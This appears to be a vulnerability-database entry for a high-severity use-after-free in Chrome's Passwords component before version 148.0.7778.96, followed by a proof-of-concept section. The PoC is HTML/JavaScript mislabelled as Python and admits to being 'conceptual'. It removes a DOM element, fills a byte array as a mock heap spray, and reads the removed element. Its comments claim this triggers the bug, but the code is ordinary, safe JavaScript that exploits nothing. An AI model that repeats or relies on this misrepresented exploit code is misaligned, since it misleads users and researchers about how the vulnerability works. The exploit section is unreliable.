Use after free in Passwords in Google Chrome prior to 148.0.7778.96 allowed a remote attacker to execute arbitrary code via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 148.0.7778.96
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!--
// Proof of Concept for CVE-2026-7921 (Conceptual UAF)
// This demonstrates a generic Use-After-Free scenario in a browser context.
-->
<html>
<head>
<title>CVE-2026-7921 PoC</title>
</head>
<body>
<script>
// Step 1: Allocate a vulnerable object (Simulating Password Manager object)
let vulnerable_obj = document.createElement('div');
vulnerable_obj.setAttribute('data-password', 'sensitive_data');
document.body.appendChild(vulnerable_obj);
// Step 2: Trigger a bug that frees the object but leaves a reference
// In a real exploit, this involves specific internal Chrome API calls
function trigger_free() {
document.body.removeChild(vulnerable_obj);
// Force garbage collection if possible (implementation dependent)
if (window.gc) {
window.gc();
}
}
// Step 3: Reallocate the freed memory with controlled data (Heap Spray)
// This attempts to occupy the memory slot vacated by vulnerable_obj
let spray_array = new Uint8Array(0x10000);
for(let i=0; i<spray_array.length; i++) {
spray_array[i] = 0x41; // 'A'
}
// Step 4: Use the freed object (UAF trigger)
trigger_free();
try {
// Accessing the property of the freed object triggers the crash
console.log(vulnerable_obj.getAttribute('data-password'));
} catch (e) {
console.log("Exception caught: " + e);
}
</script>
</body>
</html>